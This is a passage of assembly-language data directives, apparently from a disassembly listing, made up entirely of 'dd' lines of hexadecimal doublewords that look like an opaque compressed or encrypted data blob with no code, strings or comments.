dd 0D702EF4h, 811D061Bh, 0FDC06ED2h, 306AF642h, 54A94C04h
dd 0B0BAE605h, 90A8508Bh, 9BBC0442h, 54CA5D1Fh, 0B242BE00h
dd 1875DFh, 4691CB13h, 19EBE87Ah, 77738D00h, 24DD0AB6h
dd 1AC14CDEh, 54550071h, 8EFAE446h, 0A1C7F9Bh, 8039763Fh
dd 2C0AD52h, 0B31974h, 0C3E01B14h, 5EACFD87h, 0A1564B24h
dd 84E9A400h, 3CA10E2Ch, 99C7755h, 65A98E8Eh, 0B0800809h
dd 74E39884h, 1787BE00h, 0F7D98E0Dh, 57ED00F1h, 0CDFE6590h
dd 0BE0019CAh, 25C48147h, 0CB0A16h, 0DBE404C1h, 0C5309259h
dd 0AD266B04h, 14C0692Ah, 0BF9D0Bh, 684F05CBh, 0D25FB84Dh
dd 0DB4A1F16h, 3F9E3C00h, 21BE60h, 150C0633h, 96E3DF3h
dd 32E6D0EAh, 0D5C71C00h, 671B2BEAh, 0CDF3008Ch, 38FE8692h
dd 9F00CA94h, 41D5D959h, 0CE555Eh, 0E68835FCh, 1815DFD2h
dd 5971D700h, 0C7BE2029h, 7D76E86Ah, 0EF220EE4h, 0AF401672h
dd 0BB6E12D5h, 0D885ED28h, 62749D00h, 996B0CB4h, 1321026Dh
dd 69BF4015h, 0AB7B58C0h, 1F477C0Eh, 2C7A81FEh, 0F8507212h
dd 5ED4D90Bh, 0C168E05Bh, 0CE712216h, 8B93A300h, 33069DDh
dd 2D27525Dh, 0ECC02B64h, 0F1002158h, 3EED8344h, 3CFBEAh
dd 0B7B6F053h, 0B4DF9C6Bh, 0BC5BC800h, 0B8425506h, 0A3731DC5h
dd 0C2CF5h, 7D4813FDh, 9A03D170h, 0A452CE32h, 0D126A367h
dd 0F840B0FBh, 9D8B2DAh, 0D75584F1h, 406F7091h, 1FDF96B8h
dd 9AC8AB00h, 0CF157EA3h, 3DC3D56h, 0E8313380h, 674BED26h
dd 0F19CE307h, 0EE966h, 0DE6E9821h, 7A01008Bh, 42B03204h
dd 0DF50784Dh, 0E8ECC388h, 0DBF64602h, 0E05B576Eh, 0F1CA7B00h
dd 597E8h, 8BF39ADDh, 14688354h, 4F936B01h, 88203374h
dd 35DC1FC1h, 28D1001Ch, 4CC75EF1h, 0D34C11D0h, 0F2A80090h
dd 8E37FD04h, 86831C53h, 0D5BCBC3Eh, 8571FC80h, 822C0657h
dd 27655A00h, 45CC25B4h, 0E86903A0h, 0E2F372EEh, 47AF50FFh
dd 35000C1Dh, 0B5832DC5h, 39293CC8h, 0A8819224h, 0F42542AFh
dd 5BD884E2h, 7600EB58h, 0DFB52375h, 0CBC97100h, 3C0EB8E1h
dd 0D70A392Fh, 8BA65C80h, 0C027F7F0h, 16C1650Ch, 0BBB0FAh
dd 79BF6E3Bh, 17C895BEh, 7F456207h, 4480873Eh, 391D7B51h
dd 1EA8BA52h, 0B6B302FCh, 68DD384h, 6400DC44h, 13D9FD92h
dd 2616851Dh, 73499AEh, 3BA2CE9h, 0CEA83B23h, 2530E5B0h
dd 1E0481Dh, 0D6830061h, 2315DB75h, 8C736006h, 243BD90Bh
dd 0B718619h, 32010060h, 1427D305h, 0A518B0E1h, 0DBFE0681h
dd 0C4E0071h, 0B2BE3989h, 0CB3A3452h, 81F900D3h, 0D6447E8Fh
dd 748A0023h, 0F787F3F4h, 0A7005339h, 2638074Ah, 129DECh
dd 7D664C46h, 0D5356559h, 0C8017E00h, 0E6D3D2C6h, 1B8E0517h
dd 0C05D9DA8h, 0FF33F328h, 0A50173F8h, 0D1A35D3h, 58C1953Fh
dd 0FA4FB4FCh, 16CF0072h, 0C9818B53h, 1873554Ch, 0C133C01h
dd 82EA997Ah, 5D12F420h, 0CA0084BDh, 1A9EB8E4h, 98001DF4h
dd 0F616A814h, 3C1E6CBh
dd 0B91F092Bh, 0D6E08577h, 5C1C11ACh, 0C580989Bh, 9F743A4Dh
dd 50D89FE1h, 5B83Bh, 240BC819h, 3F89104h, 57369A7Ah, 0FEF8C37Ch
dd 0DE00450Ch, 2E32ECB7h, 796A802h, 1581A36Ah, 93630062h
dd 7000B289h, 0FDB9924Bh, 24C21Ch, 4F5C933h, 86CD1FAEh
dd 8B417A3Ch, 80278D95h, 58893014h, 38D800C2h, 0E09C466h
dd 0CCF1FA69h, 787B920Ch, 2914202Ch, 4973C200h, 72071Ch
dd 0DF3A462Bh, 65BC9AE7h, 90A9C000h, 0F78B4144h, 2E8107B4h
dd 65FFD379h, 102587BAh, 5CF097E8h, 44572703h, 0E029C846h
dd 0B60358Eh, 0AB894B4Ch, 0BA00AC0Bh, 6FF9B5Bh, 0B9B54500h
dd 4011CEC6h, 0A09A5029h, 0F77B88h, 0E5AECD9Dh, 972341C0h
dd 0CA6A4A00h, 1D84543Ch, 6D9B00B9h, 410C467h, 5B005C7Ah
dd 0B420BDF9h, 5F6196h, 0A0798E3Bh, 16733619h, 35EBC300h
dd 0C4E08CDBh, 0D3C700D8h, 0BE468A1Bh, 8703830Dh, 0B48BB77Bh
dd 0B6A980EFh, 339900EAh, 0F7DBC49Ch, 0CD13867Fh, 0B00BCB8h
dd 0E27E34A3h, 0FCDC0043h, 27DDF493h, 4500B0C4h, 0C3D66F0Eh
dd 12E518h, 8EB60C03h, 0FB6B424Ah, 0C0E0CA26h, 0D32CCD00h
dd 537C1Ch, 334DBF65h, 5258E136h, 0C75F4F00h, 0CED90C6h
dd 291B00DAh, 0EFEB59F9h, 43E4FB13h, 0CBCCC80Fh, 96D1027Dh
dd 4F02C01Bh, 3F800A2h, 0BD253253h, 0D600ABA6h, 0A1C47044h
dd 5E4087h, 0AA65F614h, 4C4115EFh, 0BCFA6200h, 432C9773h
dd 7E077FFh, 0D1202454h, 0E2B80D8h, 0A000EC3Dh, 28B45B78h
dd 717E11CCh, 0F1502C34h, 0ADF00EFh, 5DE3A77Ch, 6949902h
dd 70D464D2h, 952D1F38h, 358A80CFh, 0FD1E5BB5h, 743F3E1Bh
dd 79AE8890h, 6B2A0013h, 0AF608730h, 0A1E4179Dh, 98985Dh
dd 0BA5C7E66h, 26109E19h, 0EE088Dh, 5D7B01C2h, 821FEFB1h
dd 0ADAC2CF0h, 140F2712h, 6D0260EAh, 4C7B47A5h, 100B17Ah
dd 1A9914A2h, 8C98CB4Eh, 2F600A02h, 5083A338h, 0D89800A4h
dd 5C4A8717h, 7CF6ACEEh, 0FA12ABF0h, 0EC9085B3h, 2642B61h
dd 0B1789048h, 2BC0BF06h, 1800A687h, 2152C2FBh, 1262F628h
dd 89144Dh, 0E711B5C8h, 86B8CD19h, 88092CB8h, 484581D2h
dd 0FF030ADCh, 5994DCh, 0C8F421F5h, 0E11F732Dh, 62472A12h
dd 41425CC7h, 2390A1CFh, 75D4C24Eh, 0EEE718C9h, 7C367829h
dd 0D5BB0B01h, 24FBD271h, 8EECD4h, 99E01C3h, 86F37A16h
dd 904B551Eh, 3C9CD940h, 9D597E39h, 881EB870h, 58805753h
dd 8D1A954h, 0E75B1CA1h, 4EF10034h, 703B8A92h, 863D1B00h
dd 0CEC4366Bh, 30BB3E67h, 6E4D0B80h, 0F77173Ah, 6230607Fh
dd 0ED34B087h, 0A832008Ch, 54799631h, 3A39F741h, 0CCA80AFh
dd 0D555C585h, 0D0E839h, 4B5D1716h, 0C9A6A2DAh, 7501CC7Fh
dd 3E33D558h, 0FCF4E72Eh, 0AABB26CBh, 54981630h, 4421C78h
dd 0C161C1EBh, 0BE0B1201h, 23C3040Ch, 4D00DA10h, 979E9CDDh
dd 1C7624h, 0DB9DFE0h, 0CC060B22h, 657A54Ch, 9F88CE91h
dd 0D1E82228h, 0A88807FEh, 88F088A9h, 97B95204h, 9C44D34Ch
dd 28044A03h, 29565E0Ch, 0C8D24490h, 4223EB20h, 7B9308C0h
dd 0D0740853h, 88D8B588h, 0FB88AF7Ch, 5038947Ah, 29E59E3Ah
dd 75500698h, 0DC502947h, 7920093Ch, 14B4502Fh, 0E076444Ah
dd 277151C0h, 1712A33Bh, 0E4FA834h, 0B3A9A2EAh, 0BB584C80h
dd 0AE003BCFh, 33B5B726h, 0F94DC4h, 428B94C9h, 0DBA93D3Eh
dd 0D90027E4h, 43610641h, 161BC628h, 185EB54h, 0DE5DC3A2h
dd 0FD9CC4AFh, 63A7131Fh, 6C6F0B00h, 0F095030Eh, 0AC0000Dh
dd 0CCCB32ABh, 930205A3h, 0F1B57AC8h, 58E780F7h, 13274FEAh
dd 602C32h, 0B4129BD0h, 0FF001F02h, 26ACA7A5h, 0E2BF9EF3h
dd 8FF100D7h, 0EFE08744h, 61007411h, 4E885E56h, 12F91222h
dd 60C3D7h, 20C2DD18h, 0AE773D23h, 630C791Dh, 3BF26140h
dd 586C481Ch, 2D006DF9h, 0AAD8CCABh, 0FE3E8C83h, 1C348059h
dd 5D78A171h, 407A01A2h, 102B2E15h, 0B7CCE811h, 0AE9A3Eh
dd 0C737CE87h, 0FD3CF6h, 0EE4F327h, 47C58DD3h, 99730D07h
dd 0F710D99Fh, 0B7CA07h, 7CDF3CA7h, 2C8C6E3Bh, 1200B67Ah
dd 2429221Eh, 0F546CCh, 683F3105h, 2FB19417h, 0A626CE00h
dd 4A2CD856h, 876302C9h, 28C692CDh, 0AE8112E0h, 1460E900h
dd 1BEA9B11h, 0B5A2001Dh, 0F669892Fh, 7A0EA526h, 201028EFh
dd 0A7189EBDh, 2BF30F44h, 6DE3CB96h, 20002357h, 0ACDD3C90h
dd 770DB734h, 1AD40056h, 5801E1BEh, 7700D6DFh, 4B542363h
dd 1B76003h, 746CBA76h, 0DC3F19B3h, 7716D458h, 3FECF29h
dd 8D0DE329h, 0EB8E8800h, 85E2877Ch, 2330044h, 2D82A2D0h
dd 68E6B81Bh, 61C0F400h, 90448E91h, 2CD32DDFh, 0AA460EFFh
dd 0AC009F65h, 0CF603D1Ah, 1C67059h, 0E8497F0Eh, 0D4B42A1Eh
dd 4300AFA0h, 946AB036h, 51E9ACh, 681FF572h, 5B28B84Bh
dd 12C4400h, 8F27E3E6h, 63350029h, 17CDB56Eh, 0F2002FA0h
dd 14FE1151h, 0D91BD1h, 3941B905h, 0FB093519h, 8B37B314h
dd 0D5DE03F1h, 985FA68Ch, 2C215EF5h, 0CE6F7Eh, 1EDA516h
dd 6300C4DEh, 9C279941h, 3625DC1h, 0A7D78403h, 38C09659h
dd 5B00872Ah, 9DBFDA56h, 58ECCh, 9E97807Ah, 6FD7DEBBh
dd 55AB8100h, 5194C2C1h, 42D11D59h, 6C41002Dh, 5A290683h
dd 0D7573006h, 76C2E1Bh, 19FE0A50h, 5D31C09Bh, 9E075AA1h
dd 0B323D31Fh, 0BEB2BA20h, 663C00DCh, 0E1885C2Eh, 7E00F1F8h
dd 0E5D71549h, 396E2185h, 47009A41h, 0A7429B97h, 0E800E60Eh
dd 542B04A4h, 43C899h, 7A2DDF32h, 0BB9623F6h, 0A2FC490Fh
dd 2F80BD5Eh, 509789BAh, 0EB800E5h, 4938CD29h, 0F0E5375Bh
dd 19057F83h, 64CFC5B2h, 3E733AC0h, 5AC00787h, 0AF3AD0A4h
dd 4FB8B361h, 0FF79F0FBh, 45BD800h, 740285BFh, 385800BAh
dd 0C13A70A1h, 0AAB8331Dh, 0DA6F6900h, 0FF2228CAh, 18C760B1h
dd 5BFA93CFh, 5F07401Dh, 970B80FDh, 2E4EE884h, 0EFEA00E5h
dd 887DB105h, 443B678Ch, 4C93EB7h, 40088B28h, 38AE0EC0h
dd 323C005Fh, 25CFED09h, 1800B46Ah, 0DD907479h, 98E2DBh
dd 3CD4F24Ch, 5677E15Ch, 3667410Fh, 0AC704303h, 0BA84806Ch
dd 0A0B40029h, 0AD4827B5h, 2F3D018Ah, 91778F0Ah, 0B6C14034h
dd 0BDDCC3h, 368FD6ABh, 9A2D67F8h, 56E7D0F7h, 1D580D3Ch
dd 40838E0Eh, 0F816AF70h, 0E47F6A46h, 7A67F862h, 9F7BCDh
dd 3C349CE0h, 76F70C80h, 0EC65A000h, 3B0D48F5h, 42D003CBh
dd 0E78E5C96h, 67A0B3A7h, 0A4B5A1F0h, 47CF1C00h, 0B19F9BEEh
dd 0D1AB00FDh, 0B40DEF5Ah, 6B00425Fh, 6380E420h, 0F4EA6FFh
dd 69FBB064h, 0F5A52A00h, 5309C91Ch, 0AD8D70h, 7AE61A8h
dd 745D01FDh, 0F8A9DD40h, 0F999603Bh, 397A1E4Ch, 3FE31C43h
dd 60AAC540h, 0A91C41h, 7B916C8Fh, 18296F92h, 9D16D000h
dd 0C157622Eh, 1150001Eh, 3608E331h, 0F8FF2528h, 980E5807h
dd 473CCB3Eh, 7E505633h, 0FC9E74DEh, 0A9500F8h, 0E9527355h
dd 1B007B06h, 0FD6DB477h, 705AFF65h, 423F3FF0h, 0C8F2EF80h
dd 0F4A3593Bh, 4BFA691Ch, 31A48780h, 7DF7DBh, 8FDED3D8h
dd 5F092835h, 0A842200h, 0D9BDF6FBh, 470C03EFh, 4B3AD739h
dd 54191DB0h, 9E0032ECh, 80BFF410h, 55AA46h, 4873579Ch
dd 54E76B50h, 1C84FF00h, 33CEDFABh, 2FB8007Dh, 6EBB267Fh
dd 677DB281h, 6D15D000h, 5E17CFE5h, 8DE10B2Fh, 6E849388h
dd 9F90C0AEh
dd 0A30013F3h, 0FFA724F5h, 0E2244h, 0A6D3FAA2h, 19344192h
dd 30718800h, 85AC1F89h, 209E00A4h, 0A518870Fh, 0F50E61CBh
dd 8241C72Ch, 0BAB5F3h, 5AB86CA9h, 1603857Ah, 43175C15h
dd 0A5ECAD80h, 8FF3400h, 9CDDD92h, 0B1009879h, 0F61F3E93h
dd 99E3F1h, 5C777580h, 0B2625271h, 3BE2D300h, 0BE410FEDh
dd 3F847C11h, 0F8AA08h, 4E0968A7h, 3CA17457h, 0C2A89000h
dd 0F1C68404h, 242E0301h, 0B47ADE95h, 0DEE5FD0h, 0FEE858h
dd 0CBCE5EA0h, 91EB9E12h, 0D67A00F8h, 0AEC11F18h, 6ADD1B00h
dd 59A8466Dh, 0E61230D0h, 33EA35EAh, 0B50001B0h, 0AF3B98F9h
dd 743039Ah, 0D2C07EA2h, 9083E061h, 3E0741C3h, 0AF498F10h
dd 88150BB0h, 0B2A30045h, 67810C3Ah, 42C014B9h, 222B4E05h
dd 742400FDh, 0B8CF908Ch, 0E80F83F5h, 0C0110AE4h, 590B3A52h
dd 6D61039Ah, 8918D050h, 0E1C995E0h, 6F458700h, 0FC35B201h
dd 0CC3D010Fh, 6DCF471Eh, 0A7D4F0EBh, 0CBAD2500h, 22827A26h
dd 0D87185h, 0F753B970h, 0AD382BBAh, 0D29FD000h, 1C2884FCh
dd 1AB7004Ah, 610C223Bh, 0A101698Ah, 0BE7B888Eh, 73ECA6B9h
dd 0DE6007E2h, 7017C95Dh, 554F1ED2h, 0ADD59301h, 0BAD4C750h
dd 4C1AEBE4h, 0F65890B2h, 2543D00h, 0F7A3D755h, 3F2B5E00h
dd 0B2B014C3h, 0D5BF0010h, 0F4FA67EDh, 3A1678EAh, 0A80090AEh
dd 0BCDB7185h, 0B7FC056Ah, 809BC02Eh, 0CD7EB259h, 0BF3A800h
dd 0CE4DA59Eh, 0D68000B8h, 9CF5F9E4h, 0FE1D1463h, 930FF4E7h
dd 0EDAA7B6h, 516E8A10h, 59A1001Fh, 74BB3253h, 4000B8D9h
dd 6FDA6B0h, 7F1D49Eh, 800A1AF3h, 0F07F610Bh, 0E809D934h
dd 1B003A83h, 0C4740DA1h, 90CF97B7h, 79FB005Eh, 229ABA43h
dd 1000A563h, 418D35A3h, 7C0A0CCAh, 11CE0172h, 0CFE1D8A0h
dd 15E4D062h, 655F5D01h, 0F2CA1070h, 0AE72220h, 0DA0EFF83h
dd 2A990FEAh, 0CE9B9AC0h, 0DF00B3ECh, 7A327741h, 9047AB12h
dd 0E834F9F0h, 59DA00CAh, 61319FC8h, 0CF002DDCh, 43288A5Fh
dd 588DADh, 9B79ABC3h, 0E8D54402h, 1425439h, 8C3ACCDFh
dd 4F20A146h, 8B9200E6h, 25D3D64Ch, 9D005539h, 0B47207D5h
dd 19E53D1h, 134CDD09h, 0D8751132h, 930049B8h, 0F57FB1C4h
dd 98898679h, 293A0000h, 97DAB9A6h, 9001F07Ch, 0FC9B9910h
dd 0C4D0F285h, 61E20035h, 0CC0B7884h, 0D41DF507h, 55C750E3h
dd 23C08FACh, 0AE2E0Eh, 26321713h, 94B6E6CEh, 0E8BC50C0h
dd 5C4A79A0h, 6B109C9Fh, 908780C5h, 0BB21B52h, 0A7EDF0E6h
dd 0C095BC07h, 0A0EE54FAh, 0BFAFDB00h, 6EE56A4Eh, 2997004Ch
dd 9DD5A3F0h, 4A3B575Bh, 91AE9FA0h, 7D07003Bh, 4844F837h
dd 30BE6FACh, 631B86A0h, 0F100B812h, 352577FBh, 1354D37Eh
dd 0B282E4h, 0BCC29F76h, 0E228C40Dh, 0CF04875Ch, 0A209560Fh
dd 668F4EC0h, 8A370064h, 31E2CDF4h, 3F00538Dh, 0EDD9AB87h
dd 66E736h, 0BB830620h, 0F0DACBEFh, 0BC0096E6h, 0DBCCE92Eh
dd 5207653h, 0B8BB97F7h, 39E1C3D5h, 0F8835688h, 0D0824Ch
dd 228C0369h, 1DB9CAC5h, 7A74B41h, 11A1336Ch, 0F0AD0747h
dd 3B161CF4h, 9F1E2BE6h, 0AD748C0h, 16E3F3h, 0A18CA5DBh
dd 531544DCh, 0E1AC5800h, 12D74D80h, 69890E31h, 52A0551Bh
dd 0ECBD610Fh, 0D07029F6h, 6A68703h, 0A8A1B228h, 764666h
dd 0C6AFBB4h, 0DEC8E6D9h, 4072B817h, 0B697F400h, 7B09CAA3h
dd 32D0019h, 47BECCE4h, 0F7093946h, 2C9F30Fh, 0C0547AA8h
dd 2F063C40h, 377E583Fh, 4A6F2800h, 0FCF5902h, 0DF3A47D5h
dd 980068A9h, 1B8B18F7h, 77903348h, 926A3902h, 405A299Ah
dd 0DC3E98h, 5BACA938h, 9836D705h, 9EB66B00h, 37EBBFB4h
dd 2D9900E5h, 0C6C1AFC8h, 9C502C9Fh, 7D3011B8h, 5A0A9090h
dd 3DC1C09Bh, 1A24F461h, 231E8100h, 551DA57Ah, 954C000Bh
dd 0B0B30DA4h, 20BA4318h, 5733C408h, 36CF0077h, 5BC8479Fh
dd 7F0068ECh, 3C202893h, 7FCF004h, 0A471AD72h, 0C9596070h
dd 0F4009F61h, 39217E47h, 9434E76h, 77A6CE9Ch, 65497480h
dd 7148DCFBh, 2DB20C60h, 0F834195Bh, 0D88B4181h, 2100D1CBh
dd 7952BF2Fh, 1FA1D3h, 0E5B9A8BAh, 0BCA55E97h, 93FCD500h
dd 3BAAEA80h, 936F0CCh, 0A3DDEC43h, 0BCC46C0Fh, 9E6881CEh
dd 0F7702094h, 1429CC18h, 165E6398h, 0B7D561h, 4F4DAC37h
dd 0ADB80609h, 0A4FC5903h, 0D0FE57F8h, 1256606Ch, 83E3368Eh
dd 7CF86D24h, 0E0007055h, 682A354Eh, 0FAF0C9h, 1ABC9D5Ch
dd 535475EAh, 28DD048h, 0F2C6A2A8h, 861C60CDh, 0B853101h
dd 58FC4CF9h, 0D844F388h, 0B65C0757h, 0A36532A7h, 0FF852ABh
dd 100E37A0h, 0E0A38719h, 0DE673057h, 0E70B0979h, 0A8836375h
dd 5AE8B5D8h, 8509196Eh, 89F278CAh, 0C7130250h, 0B7F8A0A7h
dd 702F72D9h, 83788Fh, 7B5465FDh, 0DA4D1001h, 28B0CD30h
dd 0FCA7B51Bh, 0BF420061h, 5BF139FFh, 400DA81h, 0E7BEEAF7h
dd 0AFC9001h, 4B45242Fh, 94BB00B0h, 7E2AEDADh, 0A037D100h
dd 293E9035h, 70061739h, 0E6B806BAh, 2E0C313Ch, 96FD257Ah
dd 9CF600BEh, 496F678Ah, 5A370820h, 0E4F02938h, 1B3D02Fh
dd 88FA9052h, 0FC693E32h, 2109AB45h, 265737Dh, 6BB6DEB4h
dd 0A6B298C8h, 7B4C0F87h, 0C0DF450Fh, 0E37C510Eh, 42389D77h
dd 19D6812Eh, 0BF5F4EC1h, 42601061h, 24B098h, 3EAB5DBBh
dd 0F0791E7Ch, 4A500400h, 358EE40Ch, 0FEA2Ch, 3CEEF72Bh
dd 29326DEFh, 0E4DCF928h, 4CCBFB2Ch, 0F22750h, 9AED4C82h
dd 0C66EC25Fh, 0C40528B0h, 0CA2A06F4h, 0F240E81Ch, 0BDCEA2EFh
dd 7D491F28h, 1CC101CBh, 20897164h, 0AF3FFA90h, 80B13C9Dh
dd 4B7AA46Ch, 0C2FB39h, 0A79F73A5h, 0FF6E846h, 0E86E100h
dd 283F49FDh, 0FCC7003Eh, 0D95CB615h, 4E726F53h, 29A2DE00h
dd 0B54ABC24h, 7E0E6F9h, 36D85671h, 834360C8h, 8E0007DFh
dd 0ADC04E70h, 676133h, 0EE39CB14h, 3D02A9AAh, 0B82AE200h
dd 88B4CF3h, 482D001Fh, 0F4A7C1BCh, 0ED190C9Ah, 35862F5h
dd 506CECh, 5DEE8C6Eh, 7A1D4E8Fh, 2861D300h, 0BD3CCDACh
dd 0DCD90563h, 0C083FE93h, 8E5DC77Fh, 36FDEE2Ch, 2A4BCC00h
dd 18A01C4h, 0D41013BFh, 0E0E2C711h, 0C200E5CFh, 94A76340h
dd 39580851h, 6A80B6F5h, 1FCCF06Ch, 24004DC1h, 8FF23BD3h
dd 8AB41Eh, 60834687h, 0ABFEB14Ah, 69C5FF00h, 57554181h
dd 7CF4037Dh, 0AC5E8D19h, 377F4CF0h, 0C32E6B71h, 48009598h
dd 52D1741Ch, 0DB230177h, 72F66DC4h, 6CD04880h, 8B001578h
dd 0B09ED3C5h, 0F68DFC4h, 5A93288Eh, 7A8C0700h, 6E7B6A59h
dd 0E2026100h, 0D4D216F7h, 4D0A00E4h, 37F190C2h, 8E000918h
dd 843C9FFFh, 919BDBh, 35AECF28h, 0F8AFFCABh, 9700BAEEh
dd 963E39EBh, 64BEC0CBh, 0C01019DBh, 689CD8Ch, 8129F900h
dd 6C735BA3h, 3B8A00F8h, 0A6670D59h, 1800BAFEh, 0EBA2E6D3h
dd 0F464BED1h, 0BFCA0012h, 0F04C8A9Dh, 7000DB1h, 772D03A1h
dd 0AA5986h, 9E325D18h, 0B64520CCh, 0D900137Bh, 8D5FC636h
dd 5EFA86h, 0FBD7DA2Bh, 3D8F9CA5h, 0AA66E400h, 84964193h
dd 1DC00001h, 9D27E1FCh, 0B005879h, 0ED3C334Dh, 0DC9591h
dd 886D8792h, 5A22A971h, 1A20CE00h, 0BFF1DB9Eh, 175100B3h
dd 0F788AD75h, 0EA00895Ch, 8447D3DAh, 952FDFh, 0EE498BC1h
dd 1D6ACE10h, 822D3507h, 0D3F088E0h, 5A43B9h, 52F6640Fh
dd 0C1E1D9BEh, 0F5318A00h
dd 0E25F50BFh, 2F8100E3h, 9ECE52DAh, 26004029h, 0A61CEDFAh
dd 3B5BDFh, 302D8D34h, 782979A1h, 0AAD35300h, 6A541135h
dd 7BF3013Bh, 0E6C0EFB2h, 0DA8A7024h, 5318300h, 0B6B1F678h
dd 0CADC0092h, 464455D2h, 6000651Dh, 5EB7351h, 3FF9AF0Ch
dd 6B80B890h, 9243FE8Dh, 0D2A1B64Eh, 13B5F857h, 51426400h
dd 5B8F30Eh, 0FDF2A143h, 0C0AF2081h, 705F0A23h, 8D00B037h
dd 0A15E5978h, 1C6B7EBh, 0D24721F9h, 0F4EF96C4h, 0A600C912h
dd 0F09B761Fh, 0B063Dh, 7B6E49B9h, 0DD273913h, 3509AD02h
dd 40FFBE4Ch, 0F838B8h, 0ABE80E6Eh, 0ED9A7031h, 0D9097D00h
dd 478F81AEh, 38700E6h, 803E1B14h, 2800FE2Eh, 357BE5A4h
dd 643775h, 0DD74EC04h, 8CB2D4CAh, 0F07340h, 5DC9134Fh
dd 63E6F991h, 0ED077500h, 0BB5AC77Fh, 0B98B0EF8h, 0DC4A8576h
dd 0DE1386h, 2386AE00h, 8A3D8FDDh, 8E5280FEh, 6A81A67Dh
dd 0E9BA003Ah, 0C0FCAAB7h, 0BD00D4E2h, 1A03C35h, 70CF6468h
dd 440B0012h, 0B4C30D53h, 0D200BAACh, 58278CB5h, 47DBBDh
dd 83947DCEh, 57A546D0h, 68D9D700h, 0D40D72B5h, 0E2220301h
dd 0A99E06Dh, 0C1EF2EA8h, 1CF9EB00h, 0ED3D917Eh, 135F001Fh
dd 0BB4DFD77h, 53005A8Bh, 0FC83309Eh, 394E0AA1h, 15BF39E2h
dd 664DDB80h, 0CC016886h, 81456A00h, 131C17A2h, 6D351E72h
dd 2046000Bh, 0AC03718Dh, 379B3200h, 5D68DE7Ch, 0A1F040h
dd 0AFE3B4C4h, 8B307363h, 1B9430Fh, 0BC516C11h, 64D34CC6h
dd 89ADAC0h, 0CA006D47h, 0F07E83BCh, 914B2A4h, 6A29583Fh
dd 36910480h, 0C3E0088Ch, 3B48D676h, 0BCB60094h, 0CCFFF968h
dd 75AC01BBh, 5D8201BDh, 79ECF8A7h, 7FDFEA00h, 8A04A292h
dd 57F44Ah, 0D67E5654h, 1C86503Fh, 0EE275101h, 0D348E4B7h
dd 8CDD60h, 5985AE69h, 0F04EE250h, 92C58400h, 445CB767h
dd 6F7E03DEh, 1A6E9CE6h, 0BA8327A8h, 7F6A7B12h, 70F8F600h
dd 3691630h, 0EFBBCFCDh, 9588F6F7h, 6E00269Bh, 5B32788h
dd 0B98149h, 6D701BECh, 61647EF7h, 1FBCC300h, 970648B6h
dd 943E00FFh, 0D0F07253h, 0A0C542Ah, 0A0732C6Ch, 8E2E126Ah
dd 115C4F5Eh, 0ECED6640h, 0F001A88h, 0C5AEE11Eh, 50192915h
dd 1F7E8BDDh, 40A4BBFEh, 58F78701h, 76281245h, 8F00FC6Ch
dd 0E0846195h, 1EDC809Ah, 8082BDA2h, 0C3CED2F6h, 3005444h
dd 0B3FDB011h, 11D21DCh, 9F7E2C01h, 0C8289E92h, 0D9790ECFh
dd 0DE94F700h, 0B8FAC833h, 0A64050FEh, 0A7891351h, 0D4880057h
dd 0BBE34159h, 49957900h, 4C2FC267h, 0D23B0E86h, 12FBB8h
dd 55C717D8h, 400DE8Dh, 0F83B78Eh, 0EA35CAh, 5D08ABA0h
dd 846760B1h, 0E4F1C100h, 7645EF9h, 0A30AC07Dh, 0A0917B3Ch
dd 6CC7A400h, 43E7BD6Eh, 0E0DB0159h, 79B33A26h, 4000E346h
dd 858EF6D0h, 2C68304h, 4E64C80Dh, 0B8809698h, 0BE3D8DF2h
dd 9900C37Bh, 30501A05h, 35B064Dh, 468AF041h, 11B01076h
dd 0A4790EADh, 8308D63Eh, 5924DABAh, 3E98E896h, 0C0A007CFh
dd 90B4E3E4h, 17944B4Dh, 62928E17h, 20129C0Fh, 1CCFA231h
dd 20210056h, 544973C4h, 0BC0F3413h, 60EBA41Eh, 32191447h
dd 5CD03C93h, 0EDB8BB00h, 0AF7959A7h, 0D27BA000h, 0B08AC905h
dd 2586079Bh, 0D0981361h, 2FB54DCEh, 58EC3B25h, 2BDF123Ah
dd 702849C7h, 716D3020h, 4D004A1Eh, 557C83E9h, 77A06E5h
dd 0F420C09Bh, 47280C1h, 0F0B0B92Dh, 3090A767h, 34C0EB75h
dd 7A2F707h, 0C39C91F5h, 61AECEADh, 245C6B80h, 6D0080EEh
dd 0E3399D5h, 12900367h, 5F577C59h, 8F56C0FCh, 68D31482h
dd 0A7B43100h, 0A732E90h, 5DB822h, 1D5ECDD6h, 20C46ECAh
dd 67DFFC12h, 41D77400h, 4CD4F73Ah, 81007D0Bh, 7C258D8Ch
dd 280095AFh, 6C6B52A0h, 31F9C36h, 33E28402h, 25D80E7Bh
dd 9305DA17h, 2AA7D0F1h, 6755CC90h, 0C81800E4h, 0B08C2684h
dd 68795958h, 0E0FB0500h, 3FD3E6FEh, 9B83048Dh, 0C0FA7A8Bh
dd 94E1E944h, 18FBEF00h, 0D7B76077h, 33A3007Fh, 0DF68F243h
dd 465CF3C1h, 6CCB0313h, 0AC28E622h, 8340480h, 9E440296h
dd 6B38C90Ch, 1C818C84h, 89073F40h, 24C78BC3h, 80C8D282h
dd 4E8EEE4Fh, 0E27230FAh, 0F822C403h, 51E0C3h, 0CFB34114h
dd 2F53C86Eh, 1F6C1100h, 4C819C29h, 0B0BC1EF7h, 0A7448171h
dd 24B389C9h, 0B7008F1Ch, 0C7C16131h, 0E6103F05h, 24EC8Dh
dd 2D9B6B07h, 0D570C6F9h, 0BAABA413h, 8FBF00BFh, 58F8F2A6h
dd 6E791C13h, 9BFF3400h, 25A72F59h, 0C00151Dh, 88D7536Ah
dd 0B8270B18h, 0E27F70h, 8CD222A8h, 0CB7DBC68h, 0DE3D2AF0h
dd 0B7809EFBh, 0FCED7180h, 0B33DC99h, 0C21211D3h, 0C41D880h
dd 2042AE6h, 361FC457h, 0DB44A0h, 72DFEF34h, 0B82CDECh
dd 44579701h, 0C85348CFh, 0C808CD9h, 59D234A4h, 93EC380Ch
dd 0E84AAA00h, 2FFB6BFh, 0C7C00083h, 77AD47D1h, 0AE00EC29h
dd 0E63ED35Fh, 0C517D2h, 64317E1Fh, 0D8A52D12h, 17D70548h
dd 0C84F2E88h, 0C24380E5h, 1F70C0Fh, 6ED0679Bh, 0D43C1FA7h
dd 0D6FAB714h, 3E1E2500h, 9A627105h, 31CEAF9h, 99D9F26Fh
dd 44A90AAFh, 83F02093h, 1820BC00h, 7ECD6CACh, 684E0073h
dd 0FA341C3h, 7A03327Bh, 88D39B4Dh, 3C1E13Fh, 995834h
dd 141F94A9h, 8CF26884h, 0C1F14400h, 11D6BDE8h, 570C000Dh
